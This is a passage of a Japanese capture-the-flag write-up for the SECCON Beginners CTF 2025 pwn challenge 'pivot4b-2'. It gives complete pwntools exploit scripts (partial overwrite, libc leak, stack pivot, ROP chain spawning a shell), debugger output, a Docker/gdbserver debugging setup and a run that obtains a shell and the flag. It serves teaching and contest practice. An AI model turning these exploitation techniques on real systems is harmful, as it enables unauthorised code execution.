pwn.gdb.debug("./chall", GDBSCRIPT) as io: solve_core(io) # solve_wrapper(lambda: pwn.process("./chall")) # glibcのバージョンが違うのであまり意味がないはず、でもそれ以前にクラッシュしている # solve_wrapper(lambda: pwn.remote("localhost", 12300)) # solve_wrapper(lambda: pwn.remote("pivot4b-2.challenges.beginners.seccon.jp", 12300))
ホストマシン上でchall_patchedをexploitする場合の実行結果です:
$ ./solve.py [+] Starting local process '/mnt/d/Documents/work/ctf/SECCON_Beginners_CTF_2025/pivot4b-2/chall_patched': pid 456355 [*] 1回目: partial overwriteでのret2vuln + address leak addr_received_1st = 0x00005c655294217a elf.address = 0x00005c6552941000 [*] 2回目: 「rw-p」箇所領域を見ていると、ELFのパスや環境変数のある領域がありました。そのあたりは使われない場所と信じて、pivotします addr_to_pivot = 0x00005c6552947f00 [*] Stopped process '/mnt/d/Documents/work/ctf/SECCON_Beginners_CTF_2025/pivot4b-2/chall_patched' (pid 456355) [+] Starting local process '/mnt/d/Documents/work/ctf/SECCON_Beginners_CTF_2025/pivot4b-2/chall_patched': pid 456357 (中略) [*] Stopped process '/mnt/d/Documents/work/ctf/SECCON_Beginners_CTF_2025/pivot4b-2/chall_patched' (pid 456407) [+] Starting local process '/mnt/d/Documents/work/ctf/SECCON_Beginners_CTF_2025/pivot4b-2/chall_patched': pid 456409 [*] 1回目: partial overwriteでのret2vuln + address leak addr_received_1st = 0x00005c3c999c217a elf.address = 0x00005c3c999c1000 [*] 2回目: 「rw-p」箇所領域を見ていると、ELFのパスや環境変数のある領域がありました。そのあたりは使われない場所と信じて、pivotします addr_to_pivot = 0x00005c3c999c7f00 [*] 3回目: rbpを既知の値にしているため、messageのアドレス[rbp - 0x30]も既知。そこへstack pivotします。 addr_funlockfile = 0x00007d6769245050 libc.address = 0x00007d67691e3000 [*] 4回目: 改めてRBPを既知の値に設定 [*] 5回目: message内容もROPガジェットに使ってシェル起動 [*] Switching to interactive mode Message: \xe5\xd3 ig} $ ls Dockerfile Dockerfile.original chall chall.i64 chall_patched docker-compose.yml docker-compose.yml.original ld-2.35.so libc.so.6 pwninit_bak ropgadget_chall.txt ropgadget_libc.txt solve.py src.c $
pwninitしたバイナリでは読み書きできるメモリ領域のサイズが大きくなっていました
pwninitで生成したchall_patchdedバイナリにはエクスプロイトに成功しましたが、配布ファイルのdocker環境で使用される配布ファイル本来のchallバイナリ相手には失敗する理由を調べていました。すると、エクスプロイトで使用するバイナリ中の「読み書きできるメモリ領域」のサイズが違っていることが分かりました!
本来のchallバイナリ側ではrw-p領域のサイズは0x1000です:
$ gdb -q chall
pwndbg: loaded 190 pwndbg commands. Type pwndbg [filter] for a list.
pwndbg: created 13 GDB functions (can be used with print/break). Type help function to see them.
Reading symbols from chall...
(No debugging symbols found in chall)
------- tip of the day (disable with set show-tips off) -------
Want to NOP some instructions? Use patch <address> 'nop; nop; nop'
pwndbg> main
Temporary breakpoint 1 at 0x11e0
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Temporary breakpoint 1, 0x00005555555551e0 in main ()
(出力省略)
pwndbg> vmmap chall
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File (set vmmap-prefer-relpaths on)
► 0x555555554000 0x555555555000 r--p 1000 0 chall
► 0x555555555000 0x555555556000 r-xp 1000 1000 chall
► 0x555555556000 0x555555557000 r--p 1000 2000 chall
► 0x555555557000 0x555555558000 r--p 1000 2000 chall
► 0x555555558000 0x555555559000 rw-p 1000 3000 chall
0x7ffff7c00000 0x7ffff7c28000 r--p 28000 0 /usr/lib/x86_64-linux-gnu/libc.so.6
pwndbg>
一方でchall_pachedバイナリ側ではrw-p領域のサイズは0x3000と、0x2000も大きくなっています!
$ gdb -q chall_patched
pwndbg: loaded 190 pwndbg commands. Type pwndbg [filter] for a list.
pwndbg: created 13 GDB functions (can be used with print/break). Type help function to see them.
Reading symbols from chall_patched...
(No debugging symbols found in chall_patched)
------- tip of the day (disable with set show-tips off) -------
Use the pipe <cmd> | <prog> command to pass output of a GDB/Pwndbg command to a shell program, e.g. pipe elfsections | grep bss. This can also be shortened to: | <cmd> | <prog>
pwndbg> main
Temporary breakpoint 1 at 0x11e0
warning: Expected absolute pathname for libpthread in the inferior, but got ./libc.so.6.
warning: Unable to find libthread_db matching inferior's thread library, thread debugging will not be available.
Temporary breakpoint 1, 0x00005555555551e0 in main ()
(出力省略)
pwndbg> vmmap chall_patched
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File (set vmmap-prefer-relpaths on)
► 0x555555554000 0x555555555000 r--p 1000 0 chall_patched
► 0x555555555000 0x555555556000 r-xp 1000 1000 chall_patched
► 0x555555556000 0x555555557000 r--p 1000 2000 chall_patched
► 0x555555557000 0x555555558000 r--p 1000 2000 chall_patched
► 0x555555558000 0x55555555b000 rw-p 3000 3000 chall_patched
0x7ffff7d8f000 0x7ffff7d92000 rw-p 3000 0 [anon_7ffff7d8f]
pwndbg>
今回実装したエクスプロイトでは「読み書きできるメモリ領域」の後ろの方にstack pivotしており、pivot後のスタックでは読み書きできるサイズが0x3000弱ほどは必要のようでした。読み書きできるメモリ領域サイズが小さいと、ret2vuln中のprintf関数中が読み込み専用領域メモリへアクセスしてしまい、SIGSEGVが起こるようでした。そのため本家challバイナリ側では今回のエクスプロイトは失敗します……。
「読み書きできるメモリ領域」とは別の話で、challバイナリ側を何回実行しても、Partial Overwriteによるret2vulnが失敗している雰囲気すら見せていました。エクスプロイト開発は難しいです……。
なお、上述の私のエクスプロイトでは5回分のペイロードを送る必要がありました。作問者様の想定解法SECCON Beginners CTF 2025 作問者Writeupを見ると、Partial Overwriteではcall vuln箇所の5バイトだけ戻るように1バイトの書き込みだけで済んだり、puts@pltではなくvuln関数中のputs呼び出し直前にret2vulnしていたりで、stack pivotが不要な解法になっています!
(追記)Dockerコンテナ中でgdbserverを実行してデバッグする方法
本コンテスト後、kurenaifさんが【pwn】Docker内で動いているプロセスにgdbserverでデバッグする記事を執筆しました。まさに私が悩んでいた、Dockerコンテナ中プロセスをgdbデバッグする方法です!記事内容が非常に参考になりました。gdbserverはそのように使うのですね!
一方で、read系命令で止まったところからデバッグが始まりますという点が少し使いづらそうに思いました。もしも_startの実行開始時点からデバッグ実行できると嬉しい場面がありそうです。色々試行錯誤すると、「Dockerコンテナ中でのデバッグ対象バイナリ(今回はrun)の起動方法を、Dockerコンテナ中で直接実行するのではなく、"docker", "exec", "-i", CONTAINER_NAME, "gdbserver", f"localhost:{GDB_SERVER_PORT}", ELF_PATH_IN_CONTAINER]とgdbserver経由で実行するよう変更」でうまくいきました!
各種ファイルの詳細です:
Dockerfile
FROM ubuntu:22.04@sha256:08e2cd26ee66d0d46d6394df594f2877fc9b9381d9630a9ef5d86e27dfae9a95 AS base WORKDIR /app COPY chall run RUN echo "ctf4b{*** REDACTED ***}" > /flag.txt RUN mv /flag.txt /app/flag-$(md5sum /flag.txt | awk '{print $1}').txt # ↓gdbserverのインストールや、pwn.red/jail代わりにsocatを使ったTCP受け付け準備 RUN apt-get update && apt-get install -y gdb gdbserver socat CMD ["socat", "TCP-LISTEN:5000,reuseaddr,fork", "EXEC:./run"] # 「FROM pwn.red/jail」ステージ箇所はすべて削除
docker-compose.yml- なお、
priviledged: trueがない場合、gdbserver実行時にgdbserver: Error disabling address space randomization: Operation not permittedとなります。ASLRを無効化したい場合はpriviledged: trueが必要です。もしかしたら他のcapabilityでも代用できるかもしれません。
- なお、
services: pivot4b: build: . ports: - 12300:5000 - "12345:12345" # gdbserver通信用に追加 # privileged: true # pwn.red/jailは使わず、gdbserverもattachではなく実行開始からであるため、特権はなくても良いです。ただし上述の通りASLR無効化には必要です。 restart: unless-stopped
solve.py
#!/usr/bin/env python3 import pwn ELF_PATH_IN_HOST = "./chall" ELF_PATH_IN_CONTAINER = "/app/run" CONTAINER_NAME = "pivot4b-2-pivot4b-1" GDB_SERVER_PORT = 12345 elf = pwn.ELF(ELF_PATH_IN_HOST, checksec=False) libc = pwn.ELF("libc.so.6", checksec=False) pwn.context.binary = elf pwn.context.log_level = "DEBUG" GDBSCRIPT = r""" set show-tips off set follow-fork-mode parent handle SIGALRM nostop """ def remote_dbg(): with pwn.process(["docker", "exec", "-i", CONTAINER_NAME, "gdbserver", f"localhost:{GDB_SERVER_PORT}", ELF_PATH_IN_CONTAINER]) as io: pid = pwn.gdb.attach(target=("localhost", GDB_SERVER_PORT), gdbscript=GDBSCRIPT, exe=elf.path) print(f"{pid = }") io.interactive() remote_dbg()
1つのターミナル中でdocker compose build --no-cacheからのdocker compose up実行している状態で、別ターミナル中でsolve.pyを実行すると、_startな実行開始時点からのデバッグ実行に成功しました!

もちろんこの状態では、本来のvulnバイナリの通り、rw-p領域のサイズが0x1000の状態でデバッグ実行できます!
pwndbg> vmmap vuln
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File (set vmmap-prefer-relpaths on)
0x58c96568f000 0x58c965690000 r--p 1000 0 /app/run
► 0x58c965690000 0x58c965691000 r-xp 1000 1000 /app/run +0x179
0x58c965691000 0x58c965692000 r--p 1000 2000 /app/run
pwndbg>
(追記)upsolve結果
上述の、作問者様の想定解法を参考にupsolveしました。puts@pltを使わず、vuln関数中のcall puts箇所へret2vulnするのが重要でした!なお初手のPartial Overwriteによるret2vuln箇所は、せっかくなのでASLR依存の成功率1/16のままにしました:
#!/usr/bin/env python3 import pwn ELF_PATH_IN_HOST = "./chall" ELF_PATH_IN_CONTAINER = "/app/run" CONTAINER_NAME = "pivot4b-2-pivot4b-1" GDB_SERVER_PORT = 12345 elf = pwn.ELF(ELF_PATH_IN_HOST, checksec=False) libc = pwn.ELF("libc.so.6", checksec=False) pwn.context.binary = elf pwn.context.log_level = "DEBUG" def solve_core(io: pwn.tube): SIZE_MAX_PAYLOAD = 64 pwn.info("1回目: partial overwriteでのret2vuln + address leak") # ret後のmain: 0x122B # vuln: 0x117A (先頭ではbuffered_vfprintf中でSIGSEGVになったので、push rbp後にする) # ASLRでも下位12-bitは固定。4bit分はうまくいくことを祈るので1/16確率。 # デバッグ実行がしんどいのでpwndbgコマンド内容に頼ります offset_vuln_after_push_rbp = 0x117A if False: # gdbデバッグしつつのエクスプロイト開発時 addr_rxp_start = int(input("vmmap vuln結果のr-xp領域Startをください"), 0) else: addr_rxp_start = 0x63497D472000 # とある実行時の値、1/16を祈る payload_1 = b"A" * (48 + 8) + bytes( [ offset_vuln_after_push_rbp & 0xFF, ((addr_rxp_start >> 8) & 0xF0) | ((offset_vuln_after_push_rbp >> 8) & 0x0F), ] ) assert len(payload_1) <= SIZE_MAX_PAYLOAD io.sendafter(b"> ", payload_1) io.recvuntil(b"A" * (48 + 8)) addr_received_1st = pwn.u64(io.recvn(6).ljust(8, b"\x00")) print(f"{addr_received_1st = :#018x}") elf.address = addr_received_1st - offset_vuln_after_push_rbp print(f"{elf.address = :#018x}") # ROPgadget --binary chall_patched 結果から拾いました。 rop_leave = elf.address + 0x00000000000011DA # leave ; ret rop_ret = elf.address + 0x00000000000011DB # ret pwn.info("2回目: rbp設定 + ret時点のrdiにあるlibc中アドレスのleak") addr_to_pivot = elf.address - 0x631E790C5000 + (0x631E790CA000 - 0x100) addr_call_puts_in_vuln = elf.address + 0x118B payload_2 = pwn.flat( b"".ljust(48, b"A"), addr_to_pivot, addr_call_puts_in_vuln, ) assert len(payload_2) <= SIZE_MAX_PAYLOAD io.sendafter(b"> ", payload_2) io.recvline_contains(b"Message: ") # discard before output addr_funlockfile = pwn.u64(io.recvn(6).ljust(8, b"\x00")) print(f"{addr_funlockfile = :#018x}") libc.address = addr_funlockfile - libc.symbols["funlockfile"] print(f"{libc.address = :#018x}") # 「ROPgadget --binary libc.so.6 > ropgadget_libc.txt」結果から拾いました rop_pop_rdi = libc.address + 0x000000000002A3E5 # pop rdi ; ret addr_bin_sh = next(libc.search(b"/bin/sh\x00")) addr_system = libc.symbols["system"] pwn.info( "3回目(RBPは変更済み、RSPは元のまま): message扱いアドレスが既知なのでmessage内容も使ってROPでシェル起動" ) payload_3 = pwn.flat( [ pwn.flat( [ rop_pop_rdi, addr_bin_sh, addr_system, ] ).ljust(48, b"A"), addr_to_pivot - 0x30 - 0x8, # message箇所。leaveによるpop rbp分さらに-8 rop_leave, ] ) assert len(payload_3) <= SIZE_MAX_PAYLOAD io.sendafter(b"> ", payload_3) io.interactive() def solve_wrapper(io_factory): while True: try: with io_factory() as io: solve_core(io) return except EOFError: pass # 1/16失敗時 # fmt: off GDBSCRIPT = r""" set show-tips off set follow-fork-mode parent handle SIGALRM nostop # # ↓vulnのread # breakrva 0x11B5 # ↓vulnのret breakrva 0x11DB # ASLR内容確認 vmmap vuln continue """ def remote_dbg(): with pwn.process(["docker", "exec", "-i", CONTAINER_NAME, "gdbserver", f"localhost:{GDB_SERVER_PORT}", ELF_PATH_IN_CONTAINER]) as io: pid = pwn.gdb.attach(target=("localhost", GDB_SERVER_PORT), gdbscript=GDBSCRIPT, exe=elf.path) print(f"{pid = }") solve_core(io) # remote_dbg() # solve_wrapper(lambda: pwn.remote("localhost", 12300)) solve_wrapper(lambda: pwn.remote("pivot4b-2.challenges.beginners.seccon.jp", 12300))
実行結果です:
$ ./solve.py
[+] Opening connection to pivot4b-2.challenges.beginners.seccon.jp on port 12300: Done
[*] 1回目: partial overwriteでのret2vuln + address leak
addr_received_1st = 0x000062c0409d217a
elf.address = 0x000062c0409d1000
[*] 2回目: rbp設定 + ret時点のrdiにあるlibc中アドレスのleak
[*] Closed connection to pivot4b-2.challenges.beginners.seccon.jp port 12300
(中略、ASLR分4-bitの1/16成功待ち)
[+] Opening connection to pivot4b-2.challenges.beginners.seccon.jp on port 12300: Done
[*] 1回目: partial overwriteでのret2vuln + address leak
addr_received_1st = 0x00005f8f6141217a
elf.address = 0x00005f8f61411000
[*] 2回目: rbp設定 + ret時点のrdiにあるlibc中アドレスのleak
addr_funlockfile = 0x00006ffec7d83050
libc.address = 0x00006ffec7d21000
[*] 3回目(RBPは変更済み、RSPは元のまま): message扱いアドレスが既知なのでmessage内容も使ってROPでシェル起動
[*] Switching to interactive mode
Message: \xe5\xb3\xd4\xc7\xfeo
$ ls
flag-30f9af30bae6316908ad674471772e05.txt
run
$ cat flag*
ctf4b{f3wer_g1fts_gr3ater_j0y}
$
[*] Closed connection to pivot4b-2.challenges.beginners.seccon.jp port 12300
フラグを入手できました: ctf4b{f3wer_g1fts_gr3ater_j0y} 楽しいです!
感想
- 様々なジャンルの問題に取り組めて面白かったです!
- Linuxカーネルエクスプロイト問題を解けて満足です!
- 皆様のwriteupがとても勉強になります!
pwninitを使うと本来のバイナリとはメモリ領域サイズが変化する現象は、今回初めてハマりました。もしかしたら今までもサイズ変化はあったのかもしれませんがエクスプロイトでは偶然使わなかっただけの可能性もあります。- Dockerfile等が配布されている場合、Dockerコンテナ中でデバッグ実行してエクスプロイト開発するのが最も確実に思えてきました。その方法はまだ全然分かっていませんが、ぜひ身につけたいです……。
- →(追記)身につけました!思ったよりも簡単です!今度は
pwninitを使わないようになるかもしれないです。